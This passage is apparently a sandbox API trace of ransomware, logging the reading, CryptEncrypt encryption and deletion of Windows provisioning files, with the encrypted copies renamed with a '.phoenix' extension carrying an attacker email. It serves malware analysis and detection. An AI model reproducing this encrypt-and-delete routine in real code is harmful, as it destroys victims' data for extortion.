	[0254.908] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x37d, lpOverlapped=0x0) returned 1
	[0254.917] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x380, dwBufLen=0x380 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x380) returned 1
	[0254.918] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x380, lpOverlapped=0x0) returned 1
	[0254.919] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0254.919] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.919] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0254.919] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.919] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0254.919] CryptDestroyKey (hKey=0x151740) returned 1
	[0254.919] CloseHandle (hObject=0x2d8) returned 1
	[0254.919] CloseHandle (hObject=0x2c8) returned 1
	[0254.919] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\571__Connections_Cellular_TELEKOM.RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\571__connections_cellular_telekom.ro (romania)_i2$(__mvid)@wap.provxml")) returned 1
	[0254.920] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.920] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.920] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=467) returned 1
	[0254.921] CloseHandle (hObject=0x2c8) returned 1
	[0254.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0254.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.921] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.921] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.921] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.921] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.921] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0254.921] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.921] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1d3, lpOverlapped=0x0) returned 1
	[0254.925] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0) returned 1
	[0254.925] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1e0, lpOverlapped=0x0) returned 1
	[0254.926] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0254.926] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.926] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0254.926] CryptDestroyKey (hKey=0x151040) returned 1
	[0254.926] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0254.926] CryptDestroyKey (hKey=0x151200) returned 1
	[0254.926] CloseHandle (hObject=0x2c8) returned 1
	[0254.926] CloseHandle (hObject=0x2d8) returned 1
	[0254.926] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\573__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\573__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0254.927] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.927] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.987] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0254.987] CloseHandle (hObject=0x2d8) returned 1
	[0254.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.988] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.988] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.990] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0254.990] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.990] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0254.992] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0254.992] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.993] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0254.993] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.993] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0254.993] CryptDestroyKey (hKey=0x151080) returned 1
	[0254.993] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0254.993] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.993] CloseHandle (hObject=0x2d8) returned 1
	[0254.993] CloseHandle (hObject=0x2c8) returned 1
	[0254.993] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\574__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\574__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.994] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0254.994] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.994] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0254.994] CloseHandle (hObject=0x2c8) returned 1
	[0254.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.995] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.995] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.995] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0254.995] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0254.996] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0254.996] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.996] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0254.998] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0254.998] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.999] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0254.999] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0254.999] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0254.999] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.999] WriteFile (in: hFile=0x2d8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0254.999] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.999] CloseHandle (hObject=0x2c8) returned 1
	[0254.999] CloseHandle (hObject=0x2d8) returned 1
	[0255.000] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.001] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.001] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0255.001] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=710) returned 1
	[0255.001] CloseHandle (hObject=0x2d8) returned 1
	[0255.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.002] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0255.002] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.002] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.002] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0255.003] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0255.003] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.003] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c6, lpOverlapped=0x0) returned 1
	[0255.006] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.006] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.007] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0255.007] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.007] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0255.007] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0255.007] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0255.008] CryptDestroyKey (hKey=0x151600) returned 1
	[0255.008] CloseHandle (hObject=0x2d8) returned 1
	[0255.008] CloseHandle (hObject=0x2c8) returned 1
	[0255.008] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.009] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
